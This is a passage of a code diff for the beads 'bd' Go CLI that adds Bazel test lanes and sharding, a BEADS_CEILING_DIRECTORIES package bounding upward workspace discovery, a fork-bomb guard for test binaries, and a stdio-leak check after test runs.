internal/ceiling/BUILD.bazel | 14 ++ internal/ceiling/ceiling.go | 131 +++++++++++ internal/ceiling/ceiling_test.go | 102 ++++++++ internal/config/BUILD.bazel | 1 + internal/config/config.go | 12 +- internal/config/config_test.go | 40 ++++ internal/config/yaml_config.go | 4 +- internal/linear/BUILD.bazel | 1 + internal/linear/synclock_info_windows_test.go | 3 +- internal/metrics/BUILD.bazel | 5 +- internal/metrics/spawn_reap_test.go | 4 +- internal/notion/BUILD.bazel | 2 + internal/routing/BUILD.bazel | 10 +- internal/storage/BUILD.bazel | 2 + internal/storage/dbproxy/proxy/BUILD.bazel | 10 +- .../dbproxy/proxy/force_stop_linux_test.go | 3 +- internal/storage/dolt/BUILD.bazel | 11 +- .../storage/dolt/suite_leak_linux_test.go | 2 + internal/storage/doltutil/BUILD.bazel | 12 +- internal/storage/domain/BUILD.bazel | 2 + internal/storage/domain/db/BUILD.bazel | 26 ++ internal/storage/domain/git/BUILD.bazel | 3 + internal/storage/embeddeddolt/BUILD.bazel | 10 +- .../storage/embeddeddolt/concurrency_test.go | 5 +- internal/storage/uow/BUILD.bazel | 32 +++ .../storage/versioncontrolops/BUILD.bazel | 1 + internal/testutil/testdoltserver.go | 19 +- internal/workspacegate/BUILD.bazel | 1 + internal/workspacegate/gate_test.go | 8 +- scripts/BUILD.bazel | 43 +++- scripts/bazel_policy_test.go | 222 ++++++++++++++++++ scripts/check_build_tags_test.go | 6 +- scripts/check_testing_short_test.go | 5 + scripts/complexity_script_test.go | 44 +++- scripts/conformance_script_test.go | 5 +- scripts/host_tools_test.go | 32 +++ scripts/install_dolt_test.go | 6 +- scripts/prlintmake/BUILD.bazel | 2 + scripts/prlintmake/prlintmake_test.go | 6 +- scripts/pull_dolt_image_test.go | 5 +- scripts/release_script_test.go | 13 + tools/bazel/BUILD.bazel | 7 + tools/bazel/go_test_variant.sh | 18 ++ tools/bazel/test_env.sh | 22 ++ 68 files changed, 1126 insertions(+), 60 deletions(-) create mode 100644 internal/ceiling/BUILD.bazel create mode 100644 internal/ceiling/ceiling.go create mode 100644 internal/ceiling/ceiling_test.go create mode 100644 scripts/host_tools_test.go create mode 100755 tools/bazel/go_test_variant.sh diff --git a/.bazelrc b/.bazelrc index df220ae3c..34ccf6cd6 100644 --- a/.bazelrc +++ b/.bazelrc @@ -33,6 +33,16 @@ test:prcore --test_tag_filters=-requires-docker,-embedded,-manual test:ci --config=prcore test:ci --keep_going --test_summary=terse +# Docker lane: only the requires-docker targets (pr.yml's container-backed +# jobs), on a host with a docker daemon. Race like those jobs, but no -short +# and no BEADS_TEST_SKIP=dolt, which would keep the containers from starting. +# Those targets are also tagged no-remote-exec, so they run on the host even +# with --config=remote-exec. +test:docker --@rules_go//go/config:race +test:docker --test_tag_filters=requires-docker +test:docker --build_tests_only +test:docker --keep_going + # Remote execution against any REAPI-compatible service. Only generic tuning # lives here; the executor endpoint and TLS credentials are never committed. # Developers put them in a gitignored user.bazelrc or .bazelrc.local; CI writes diff --git a/BUILD.bazel b/BUILD.bazel index e22749670..e97ad1716 100644 --- a/BUILD.bazel +++ b/BUILD.bazel @@ -56,11 +56,23 @@ filegroup( visibility = ["//test/docsync:__pkg__"], ) -# //scripts:scripts_test dolt pin tests (ci_workflow_test.go): the workflows -# must install the pinned dolt. +# //scripts:scripts_test workflow-policy and CI-script tests: the whole +# .github tree (workflows, composite actions, CI helper scripts) they parse +# and run. The one whole-tree input the plan allows (it is small). filegroup( name = "workflow_files", - srcs = glob([".github/workflows/*.yml"]), + srcs = glob([".github/**"]), + visibility = ["//scripts:__pkg__"], +) + +# //scripts:scripts_test runs scripts/test.sh, which sources the canonical +# build flags and reads the known-broken-test skip list. +filegroup( + name = "test_sh_files", + srcs = [ + ".buildflags", + ".test-skip", + ], visibility = ["//scripts:__pkg__"], ) diff --git a/backend/conformance/role_bundle_test.go b/backend/conformance/role_bundle_test.go index 7ef8ca9df..ce692298b 100644 --- a/backend/conformance/role_bundle_test.go +++ b/backend/conformance/role_bundle_test.go @@ -315,7 +315,7 @@ func TestRoleCasesFailsWhenAFactoryReturnsNil(t *testing.T) { func runProbeChild(t *testing.T, mode string) (string, error) { t.Helper() cmd := exec.Command(os.Args[0], "-test.run=^"+t.Name()+"$", "-test.v") - cmd.Env = append(os.Environ(), roleBundleProbeEnv+"="+mode) + cmd.Env = append(bazeltest.ShardFreeEnv(os.Environ()), roleBundleProbeEnv+"="+mode) out, err := cmd.CombinedOutput() return string(out), err } diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index f1e8faa6f..1267ccb2f 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -351,6 +351,7 @@ go_library( "//internal/atomicfile", "//internal/audit", "//internal/beads", + "//internal/ceiling", "//internal/compact", "//internal/config", "//internal/configfile", @@ -393,6 +394,7 @@ go_library( "//internal/storage/doltutil", "//internal/storage/domain", "//internal/storage/domain/db", + "//internal/storage/domain/git", "//internal/storage/embeddeddolt", "//internal/storage/externaldeps", "//internal/storage/fs", @@ -475,7 +477,9 @@ go_binary( go_test( name = "bd_test", - # -race -short runs ~10 min (pr-core gives go test -timeout=30m). + # -race -short runs ~4-10 min unsharded (pr-core gives go test + # -timeout=30m). Bazel shards by test count, not duration; test re-execs + # strip the shard variables (bazeltest.ShardFreeEnv). size = "large", timeout = "long", srcs = [ @@ -546,6 +550,7 @@ go_test( "config_get_backup_enabled_test.go", "config_guard_test.go", "config_isolation_regression_test.go", + "config_leaked_secret_test.go", "config_list_test.go", "config_nodb_embedded_test.go", "config_proxied_integration_test.go", @@ -766,6 +771,7 @@ go_test( "init_commit_test.go", "init_embedded_test.go", "init_gateway_test.go", + "init_git_bootstrap_routing_test.go", "init_guard_test.go", "init_hooks_test.go", "init_metrics_test.go", @@ -777,6 +783,8 @@ go_test( "init_proxied_server_test.go", "init_registered_backend_test.go", "init_remote_test.go", + "init_role_environment_test.go", + "init_role_routing_test.go", "init_safety_test.go", "init_server_flags_test.go", "init_stealth_test.go", @@ -1130,6 +1138,7 @@ go_test( "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", }, + shard_count = 16, deps = [ "//:beads", "//cmd/bd/doctor", @@ -1169,6 +1178,8 @@ go_test( "//internal/storage/domain", "//internal/storage/embeddeddolt", "//internal/storage/externaldeps", + "//internal/storage/fs", + "//internal/storage/git", "//internal/storage/issueops", "//internal/storage/journalscan", "//internal/storage/kvkeys", diff --git a/cmd/bd/close_last_touched_test.go b/cmd/bd/close_last_touched_test.go index 555d18328..501dce7d2 100644 --- a/cmd/bd/close_last_touched_test.go +++ b/cmd/bd/close_last_touched_test.go @@ -18,7 +18,8 @@ import ( // pollute parsed values (e.g. an issue ID from `bd q`). func runBDStdout(t *testing.T, binPath, workDir string, args ...string) string { t.Helper() - ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + // 2m, not 30s: a -race bd under a loaded CI host has taken >30s for one init. + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) defer cancel() cmd := exec.CommandContext(ctx, binPath, args...) cmd.Dir = workDir diff --git a/cmd/bd/config.go b/cmd/bd/config.go index 95bcb450b..f39a33d77 100644 --- a/cmd/bd/config.go +++ b/cmd/bd/config.go @@ -13,6 +13,7 @@ import ( "github.com/spf13/viper" "github.com/steveyegge/beads/cmd/bd/doctor" "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/ceiling" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/gitenv" @@ -1022,7 +1023,8 @@ func isValidRemoteURL(rawURL string) bool { // findBeadsRepoRoot walks up from the given path to find the repo root (containing .beads) func findBeadsRepoRoot(startPath string) string { path := startPath - for { + bound := ceiling.For(startPath) + for !bound.Excludes(path) { beadsDir := filepath.Join(path, ".beads") if info, err := os.Stat(beadsDir); err == nil && info.IsDir() { return path diff --git a/cmd/bd/context_identity_test.go b/cmd/bd/context_identity_test.go index c8d9d405f..6e166d370 100644 --- a/cmd/bd/context_identity_test.go +++ b/cmd/bd/context_identity_test.go @@ -11,6 +11,7 @@ import ( "github.com/steveyegge/beads/internal/beads" "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/storage/backends" "github.com/steveyegge/beads/internal/storage/contextinfo" @@ -83,8 +84,13 @@ func TestContextRoutesNameOneWorkspaceTheSameWay(t *testing.T) { } t.Chdir(dir) t.Setenv("BEADS_DIR", beadsDir) + // git caches the cwd's repository context process-wide; a test + // that ran earlier from a non-repo directory would otherwise make + // this fresh repo look like "not a git repository". + git.ResetCaches() beads.ResetCaches() t.Cleanup(beads.ResetCaches) + t.Cleanup(git.ResetCaches) provider, err := contextinfo.NewContextProvider(dir, Version).ContextUseCase().GetContextInfo(t.Context()) if err != nil { diff --git a/cmd/bd/create_repo_remote_url_preprun_test.go b/cmd/bd/create_repo_remote_url_preprun_test.go index 1233e3177..e03bc0b2e 100644 --- a/cmd/bd/create_repo_remote_url_preprun_test.go +++ b/cmd/bd/create_repo_remote_url_preprun_test.go @@ -6,6 +6,9 @@ import ( "path/filepath" "strings" "testing" + + "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/git" ) // TestCreateRemoteRepoSkipsLocalDatabaseGuard is a regression test for a gap @@ -54,6 +57,18 @@ func TestCreateRemoteRepoSkipsLocalDatabaseGuard(t *testing.T) { t.Fatalf("chdir(%q): %v", noBeadsCwd, err) } t.Cleanup(func() { _ = os.Chdir(originalWD) }) + // git and beads cache the cwd's repository and workspace process-wide. Start + // from caches that describe noBeadsCwd: a cache an earlier test filled from + // the package directory (a checkout, or a worktree whose main repository has + // a .beads) would hand create that workspace instead. Reset again on the + // way out, before the cwd is restored, so the next test does not inherit + // this directory's answers. + git.ResetCaches() + beads.ResetCaches() + t.Cleanup(func() { + git.ResetCaches() + beads.ResetCaches() + }) // Hide the `dolt` CLI so remotecache.Ensure fails fast and // deterministically in CGO-enabled builds, without attempting a real network diff --git a/cmd/bd/doctor/BUILD.bazel b/cmd/bd/doctor/BUILD.bazel index c3d3a4194..73f72e14e 100644 --- a/cmd/bd/doctor/BUILD.bazel +++ b/cmd/bd/doctor/BUILD.bazel @@ -62,6 +62,7 @@ go_library( "//internal/doltremote", "//internal/doltserver", "//internal/git", + "//internal/gitenv", "//internal/gitignore", "//internal/storage", "//internal/storage/dberrors", @@ -154,6 +155,7 @@ go_test( "//internal/configfile", "//internal/doltserver", "//internal/git", + "//internal/gitenv", "//internal/storage/dolt", "//internal/storage/doltutil", "//internal/storage/embeddeddolt", diff --git a/cmd/bd/doctor/fix/BUILD.bazel b/cmd/bd/doctor/fix/BUILD.bazel index 63a6738f6..4ca96cb1d 100644 --- a/cmd/bd/doctor/fix/BUILD.bazel +++ b/cmd/bd/doctor/fix/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "fix", @@ -96,6 +97,30 @@ go_test( ], ) +# The Dolt-backed half of fix_test, as pr.yml's "Test doctor/fix (Dolt-backed, +# hard-require container)" job runs it: TestMain starts a dolt sql-server +# container through testcontainers, and BEADS_FIX_REQUIRE_DOLT=1 turns a +# missing container into a failure instead of a silent skip. fix_test itself +# stays untagged: under --config=prcore (BEADS_TEST_SKIP=dolt, like pr-core's +# `go test`) it never touches docker and runs anywhere. +# +# Tags: +# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, +# selected by --config=docker. +# no-remote-exec: the daemon is on the host, not on remote workers. +sh_test( + name = "fix_docker_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :fix_test)"], + data = [":fix_test"], + env = {"BEADS_FIX_REQUIRE_DOLT": "1"}, + tags = [ + "no-remote-exec", + "requires-docker", + ], +) + # --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/cmd/bd/doctor/fix/common.go b/cmd/bd/doctor/fix/common.go index 5b6eb96ea..a5f751417 100644 --- a/cmd/bd/doctor/fix/common.go +++ b/cmd/bd/doctor/fix/common.go @@ -6,6 +6,7 @@ import ( "os/exec" "path/filepath" "strings" + "testing" "github.com/steveyegge/beads/internal/beads" ) @@ -38,9 +39,8 @@ func getBdBinary() (string, error) { } // Check if we're running as a test binary - this prevents fork bombs - // when tests call functions that execute bd subcommands - baseName := filepath.Base(exe) - if strings.HasSuffix(baseName, ".test") || strings.Contains(baseName, ".test.") { + // when tests call functions that execute bd subcommands. + if isTestBinary(exe) { return "", ErrTestBinary } @@ -56,6 +56,18 @@ func getBdBinary() (string, error) { return bdPath, nil } +// isTestBinary reports whether exe is a Go test binary. testing.Testing() is +// the authoritative signal: both `go test` and rules_go link test binaries with +// it set, whatever the file is called (Bazel names them _test, not +// .test). The name check is kept for binaries built by other means. +func isTestBinary(exe string) bool { + if testing.Testing() { + return true + } + baseName := filepath.Base(exe) + return strings.HasSuffix(baseName, ".test") || strings.Contains(baseName, ".test.") +} + // validateBeadsWorkspace ensures the path is a valid beads workspace before // attempting any fix operations. This prevents path traversal attacks. func validateBeadsWorkspace(path string) error { diff --git a/cmd/bd/doctor/fix/e2e_test.go b/cmd/bd/doctor/fix/e2e_test.go index 50bd17a75..5183c01c6 100644 --- a/cmd/bd/doctor/fix/e2e_test.go +++ b/cmd/bd/doctor/fix/e2e_test.go @@ -103,6 +103,21 @@ func TestGetBdBinary_Errors(t *testing.T) { }) } +// TestGetBdBinary_DetectsTestBinaryByAnyName guards against a fork bomb: a test +// binary must never be returned as "bd", whatever it is named. Bazel names +// test binaries _test (no ".test" suffix); before the guard used +// testing.Testing(), each fix test re-ran the whole suite recursively there. +func TestGetBdBinary_DetectsTestBinaryByAnyName(t *testing.T) { + if _, err := getBdBinary(); !errors.Is(err, ErrTestBinary) { + t.Fatalf("getBdBinary() in a test binary: got err %v, want ErrTestBinary", err) + } + for _, name := range []string{"/x/fix.test", "/x/fix_test", "/x/bd"} { + if !isTestBinary(name) { + t.Errorf("isTestBinary(%q) = false inside a test binary", name) + } + } +} + // TestFilePermissionErrors tests handling of file permission issues func TestFilePermissionErrors(t *testing.T) { if os.Getuid() == 0 { diff --git a/cmd/bd/legacy_upgrade_guard.go b/cmd/bd/legacy_upgrade_guard.go index 02c8e36e0..063146624 100644 --- a/cmd/bd/legacy_upgrade_guard.go +++ b/cmd/bd/legacy_upgrade_guard.go @@ -9,6 +9,7 @@ import ( "strings" "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/ceiling" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/doltserver" "github.com/steveyegge/beads/internal/git" @@ -245,7 +246,11 @@ func guardUndiscoveredLegacyWorkspace() error { } dir := utils.CanonicalizePath(cwd) boundary := utils.CanonicalizePath(git.GetRepoRoot()) + bound := ceiling.For(dir) for { + if bound.Excludes(dir) { + return nil + } if err := guardLegacyUpgradeWorkspace(filepath.Join(dir, ".beads")); err != nil { return err } diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 260a14774..7880c931c 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -24,6 +24,7 @@ import ( "github.com/subosito/gotenv" "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/ceiling" "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/debug" @@ -789,7 +790,8 @@ func resolveCommandBeadsDir(dbPath string) string { return beadsDir } - for dir := filepath.Dir(dbPath); dir != "" && dir != filepath.Dir(dir); dir = filepath.Dir(dir) { + bound := ceiling.For(filepath.Dir(dbPath)) + for dir := filepath.Dir(dbPath); dir != "" && dir != filepath.Dir(dir) && !bound.Excludes(dir); dir = filepath.Dir(dir) { candidate := filepath.Join(dir, ".beads") if info, err := os.Stat(candidate); err == nil && info.IsDir() { return candidate diff --git a/cmd/bd/prime_gemini_hook_test.go b/cmd/bd/prime_gemini_hook_test.go index fb74380c9..1c8816d96 100644 --- a/cmd/bd/prime_gemini_hook_test.go +++ b/cmd/bd/prime_gemini_hook_test.go @@ -50,7 +50,8 @@ func runPrimeBinary(t *testing.T, binPath, workDir string, args ...string) (stdo // .beads/ directory so FindBeadsDir succeeds. func initBeadsWorkspace(t *testing.T, binPath, workDir string) { t.Helper() - ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + // 2m, not 30s: a -race bd under a loaded CI host has taken >30s for one init. + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) defer cancel() cmd := exec.CommandContext(ctx, binPath, "init", "--prefix", "test") cmd.Dir = workDir diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index f6a03b25f..af19356a0 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "protocol", @@ -49,3 +50,34 @@ go_test( "//internal/testutil/bazeltest", ], ) + +# protocol_test as pr.yml's "Contract corpus" job runs it: TestMain starts a +# dolt sql-server container and BEADS_PROTOCOL_REQUIRE_DOLT=1 turns a missing +# container into a failure instead of a skip. It repeats protocol_test's `env` +# (go_test_variant.sh cannot inherit it). protocol_test itself stays untagged: +# under --config=prcore (BEADS_TEST_SKIP=dolt) its Dolt-backed tests skip. +# +# Tags: +# requires-docker: needs a docker daemon; excluded from --config=prcore/ci, +# selected by --config=docker. +# no-remote-exec: the daemon is on the host, not on remote workers. +sh_test( + name = "protocol_docker_test", + size = "large", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :protocol_test)"], + data = [ + ":protocol_test", + "//cmd/bd:bd_for_tests", + ], + env = { + "BEADS_PROTOCOL_REQUIRE_DOLT": "1", + "BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)", + }, + # ~10 min unsharded without -race in pr.yml. + shard_count = 8, + tags = [ + "no-remote-exec", + "requires-docker", + ], +) diff --git a/cmd/bd/store_reopen.go b/cmd/bd/store_reopen.go index a72bbd96b..f65f69255 100644 --- a/cmd/bd/store_reopen.go +++ b/cmd/bd/store_reopen.go @@ -7,6 +7,7 @@ import ( "path/filepath" "github.com/steveyegge/beads/internal/beads" + "github.com/steveyegge/beads/internal/ceiling" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/utils" @@ -63,7 +64,8 @@ func resolveBeadsDirForDBPath(dbPath string) string { } addAncestorCandidates := func(path string) { - for dir := path; dir != "" && dir != filepath.Dir(dir); dir = filepath.Dir(dir) { + bound := ceiling.For(path) + for dir := path; dir != "" && dir != filepath.Dir(dir) && !bound.Excludes(dir); dir = filepath.Dir(dir) { addCandidate(filepath.Join(dir, ".beads")) if filepath.Base(dir) == ".beads" { addCandidate(dir) diff --git a/cmd/bd/test_repo_beads_guard_test.go b/cmd/bd/test_repo_beads_guard_test.go index e129d0b55..0359f124d 100644 --- a/cmd/bd/test_repo_beads_guard_test.go +++ b/cmd/bd/test_repo_beads_guard_test.go @@ -50,7 +50,9 @@ type testRunner interface { } func runTestsAndSweep(m testRunner) int { + stdout, stderr := os.Stdout, os.Stderr code := m.Run() + code = checkStdioAfterRun(code, stdout, stderr) swept := doltserver.SweepSuiteTestServers(testTempRoot) return doltserver.ApplyLeakPolicy("cmd/bd", code, swept) } diff --git a/cmd/bd/worktree_remove_test.go b/cmd/bd/worktree_remove_test.go index 8a3b90dcc..b30b3c8b3 100644 --- a/cmd/bd/worktree_remove_test.go +++ b/cmd/bd/worktree_remove_test.go @@ -11,6 +11,8 @@ import ( "reflect" "strings" "testing" + + "github.com/steveyegge/beads/internal/testutil/bazeltest" ) const ( @@ -295,7 +297,7 @@ func runWorktreeRemoveProcess(t *testing.T, dir string, extraEnv []string, args } command := exec.Command(executable, "-test.run=^TestWorktreeRemoveProcessHelper$") command.Dir = dir - command.Env = overrideWorktreeRemoveEnv(os.Environ(), append([]string{worktreeRemoveHelperEnv + "=1", worktreeRemoveHelperArgsEnv + "=" + string(encodedArgs), "BD_DISABLE_METRICS=1"}, extraEnv...)) + command.Env = overrideWorktreeRemoveEnv(bazeltest.ShardFreeEnv(os.Environ()), append([]string{worktreeRemoveHelperEnv + "=1", worktreeRemoveHelperArgsEnv + "=" + string(encodedArgs), "BD_DISABLE_METRICS=1"}, extraEnv...)) var stdout, stderr bytes.Buffer command.Stdout, command.Stderr = &stdout, &stderr err = command.Run() diff --git a/cmd/bd/zz_stdio_leak_guard_test.go b/cmd/bd/zz_stdio_leak_guard_test.go index b5da2c2bc..66bfc4cbd 100644 --- a/cmd/bd/zz_stdio_leak_guard_test.go +++ b/cmd/bd/zz_stdio_leak_guard_test.go @@ -1,6 +1,7 @@ package main import ( + "fmt" "os" "testing" ) @@ -14,9 +15,16 @@ import ( // the var-init streams: under `go test -json` the testing framework swaps // os.Stderr to os.Stdout inside M.Run (go.dev/issue/33419), after var-init // and before any test, and that framework swap is not a leak (#5881). +// +// It only sees tests that ran before it in this process. TestMain repeats the +// check after m.Run (checkStdioAfterRun), which covers every test in the +// process, including each Bazel shard, where this test runs in one shard only. func TestZZStdioNotLeaked(t *testing.T) { if baselineStdout == nil || baselineStderr == nil { - t.Skip("stdio baseline not captured (TestAAAStdioBaseline filtered out); nothing to compare against") + // TestAAAStdioBaseline did not run in this process (-run filtered it + // out, or Bazel sharding put it in another shard); TestMain's check + // after m.Run still applies. + t.Skip("no baseline in this process; checkStdioAfterRun covers it") } if os.Stdout != baselineStdout { t.Errorf("os.Stdout was leaked by an earlier test (now fd=%d name=%q); "+ @@ -31,3 +39,29 @@ func TestZZStdioNotLeaked(t *testing.T) { os.Stderr = baselineStderr } } + +// checkStdioAfterRun fails the process (returning a non-zero code) when a test +// left os.Stdout or os.Stderr reassigned. stdout/stderr are the streams from +// before m.Run. The one reassignment allowed is the framework's own under +// -json, os.Stderr = os.Stdout (see TestZZStdioNotLeaked). +func checkStdioAfterRun(code int, stdout, stderr *os.File) int { + var leaked []string + if os.Stdout != stdout { + leaked = append(leaked, fmt.Sprintf("os.Stdout (now fd=%d name=%q)", os.Stdout.Fd(), os.Stdout.Name())) + } + if os.Stderr != stderr && os.Stderr != stdout { + leaked = append(leaked, fmt.Sprintf("os.Stderr (now fd=%d name=%q)", os.Stderr.Fd(), os.Stderr.Name())) + } + if len(leaked) == 0 { + return code + } + os.Stdout, os.Stderr = stdout, stderr + for _, l := range leaked { + fmt.Fprintf(stderr, "FAIL: %s was leaked by a test in this process; "+ + "a capture helper restored it on the happy path only - move the restore into a defer\n", l) + } + if code == 0 { + code = 1 + } + return code +} diff --git a/docs/reference/configuration.md b/docs/reference/configuration.md index 959618da9..88915e2fb 100644 --- a/docs/reference/configuration.md +++ b/docs/reference/configuration.md @@ -499,6 +499,7 @@ Selected commonly-used variables: | `BD_DEBUG` | Enable debug logging | | `BD_MIGRATION_FREEZE_FILE` | Check this exact path for the freeze marker instead of walking ancestor directories; authoritative when set (see [Migration Freeze](#migration-freeze)) | | `BEADS_DIR` | Force the active beads workspace directory | +| `BEADS_CEILING_DIRECTORIES` | Directories (separated like `PATH`) that `.beads` and `config.yaml` discovery never looks at or above, like git's `GIT_CEILING_DIRECTORIES`; the starting directory is always examined. For sandboxes such as `bazel test` that must not reach the user's own `~/.beads` | | `BEADS_ACTOR` | Actor identity (preferred over `BD_ACTOR`, which is a deprecated alias) | | `BEADS_IDENTITY` | Sender identity for `bd mail` | | `BEADS_FSCK_TIMEOUT` | Runtime-only timeout for the pre-push `dolt fsck --quiet` integrity check (default `30s`) | diff --git a/internal/beads/BUILD.bazel b/internal/beads/BUILD.bazel index 94bdfadff..9c27bb763 100644 --- a/internal/beads/BUILD.bazel +++ b/internal/beads/BUILD.bazel @@ -10,8 +10,10 @@ go_library( importpath = "github.com/steveyegge/beads/internal/beads", visibility = ["//:__subpackages__"], deps = [ + "//internal/ceiling", "//internal/configfile", "//internal/git", + "//internal/gitenv", "//internal/storage", "//internal/storage/backends", "//internal/utils", @@ -34,9 +36,11 @@ go_test( ], embed = [":beads"], deps = [ + "//internal/ceiling", "//internal/configfile", "//internal/doltserver", "//internal/git", + "//internal/gitenv", "//internal/testutil", "//internal/utils", ], diff --git a/internal/beads/beads.go b/internal/beads/beads.go index bf153a423..7113d75dd 100644 --- a/internal/beads/beads.go +++ b/internal/beads/beads.go @@ -19,6 +19,7 @@ import ( "sync" "time" + "github.com/steveyegge/beads/internal/ceiling" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/gitenv" @@ -786,10 +787,14 @@ func hasBeadsProjectFiles(beadsDir string) bool { // when they agree on which ancestors exist. The ceiling is not extended to "/" // because it guards against ambient state in a world-writable shared root, // which the filesystem root is not. +// +// BEADS_CEILING_DIRECTORIES (package ceiling) also ends the walk: no directory +// at or above a ceiling containing the origin is yielded. type AncestorDirWalk struct { next string origin string tempRoot string + bound *ceiling.Bound done bool } @@ -797,10 +802,12 @@ type AncestorDirWalk struct { // caller's actual discovery start even when startDir begins a later segment of // a bounded walk. func NewAncestorDirWalk(startDir, originDir string) *AncestorDirWalk { + origin := canonicalizeAncestorWalkPath(originDir) return &AncestorDirWalk{ next: canonicalizeAncestorWalkPath(startDir), - origin: canonicalizeAncestorWalkPath(originDir), + origin: origin, tempRoot: canonicalizeAncestorWalkPath(os.TempDir()), + bound: ceiling.For(origin), } } @@ -832,12 +839,17 @@ func canonicalizeAncestorWalkPath(path string) string { } } -// Next returns the next directory permitted by the temp-root ceiling. +// Next returns the next directory permitted by the temp-root and +// BEADS_CEILING_DIRECTORIES ceilings. func (w *AncestorDirWalk) Next() (string, bool) { if w == nil || w.done || w.next == "" || w.next == "." { return "", false } dir := w.next + if w.bound.Excludes(dir) { + w.done = true + return "", false + } if w.tempRoot != "" && dir == w.tempRoot && dir != w.origin { w.done = true return "", false diff --git a/internal/beads/beads_test.go b/internal/beads/beads_test.go index b4e64378d..555ee0fc9 100644 --- a/internal/beads/beads_test.go +++ b/internal/beads/beads_test.go @@ -12,6 +12,7 @@ import ( "strings" "testing" + "github.com/steveyegge/beads/internal/ceiling" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/gitenv" @@ -593,6 +594,33 @@ func TestAncestorDirWalkEndsAtOSTempRoot(t *testing.T) { } } +// TestAncestorDirWalkStopsBelowBeadsCeiling pins that BEADS_CEILING_DIRECTORIES +// ends every FindBeadsDir-style walk below the ceiling, so a .beads at or +// above it is never found. +func TestAncestorDirWalkStopsBelowBeadsCeiling(t *testing.T) { + sandbox := t.TempDir() + ceilingDir := filepath.Join(sandbox, "ceiling") + start := filepath.Join(ceilingDir, "project", "nested") + if err := os.MkdirAll(start, 0o755); err != nil { + t.Fatal(err) + } + t.Setenv("TMPDIR", filepath.Join(sandbox, "elsewhere")) + t.Setenv(ceiling.EnvVar, ceilingDir) + + var got []string + walk := NewAncestorDirWalk(start, start) + for dir, ok := walk.Next(); ok; dir, ok = walk.Next() { + got = append(got, dir) + } + want := []string{ + canonicalizeAncestorWalkPath(start), + canonicalizeAncestorWalkPath(filepath.Join(ceilingDir, "project")), + } + if !slices.Equal(got, want) { + t.Fatalf("walk yielded %q, want %q", got, want) + } +} + // TestAncestorDirWalkYieldsFilesystemRoot pins the documented choice that the // walk includes the filesystem root. Most of the hand-rolled loops this type // replaced stopped before "/"; the unified walk does not, so the behavior is @@ -603,8 +631,10 @@ func TestAncestorDirWalkYieldsFilesystemRoot(t *testing.T) { if err := os.MkdirAll(start, 0o755); err != nil { t.Fatal(err) } - // Point the ceiling somewhere off this walk so it can reach the root. + // Point the ceiling somewhere off this walk so it can reach the root, and + // lift any BEADS_CEILING_DIRECTORIES the test runner set. t.Setenv("TMPDIR", filepath.Join(sandbox, "tmp")) + t.Setenv(ceiling.EnvVar, "") fsRoot := canonicalizeAncestorWalkPath(start) for { diff --git a/internal/ceiling/BUILD.bazel b/internal/ceiling/BUILD.bazel new file mode 100644 index 000000000..9ef453ece --- /dev/null +++ b/internal/ceiling/BUILD.bazel @@ -0,0 +1,14 @@ +load("@rules_go//go:def.bzl", "go_library", "go_test") + +go_library( + name = "ceiling", + srcs = ["ceiling.go"], + importpath = "github.com/steveyegge/beads/internal/ceiling", + visibility = ["//:__subpackages__"], +) + +go_test( + name = "ceiling_test", + srcs = ["ceiling_test.go"], + embed = [":ceiling"], +) diff --git a/internal/ceiling/ceiling.go b/internal/ceiling/ceiling.go new file mode 100644 index 000000000..ef8e00c98 --- /dev/null +++ b/internal/ceiling/ceiling.go @@ -0,0 +1,131 @@ +// Package ceiling bounds the upward directory searches bd uses to discover a +// .beads workspace or its config.yaml. +// +// BEADS_CEILING_DIRECTORIES is a list of absolute directories separated by the +// OS path-list separator (":" on POSIX, ";" on Windows), like git's +// GIT_CEILING_DIRECTORIES. A search that starts inside a ceiling never examines +// the ceiling itself or anything above it; the start directory is always +// examined. Ceilings that do not contain the start have no effect, and empty or +// relative entries are ignored. When the variable is unset nothing changes. +// +// It exists for sandboxes such as `bazel test`, whose working directory lives +// below the developer's home: without a ceiling, discovery walks out of the +// sandbox and reads or writes the developer's own ~/.beads. +package ceiling + +import ( + "os" + "path/filepath" + "strings" +) + +// EnvVar names the ceiling list. +const EnvVar = 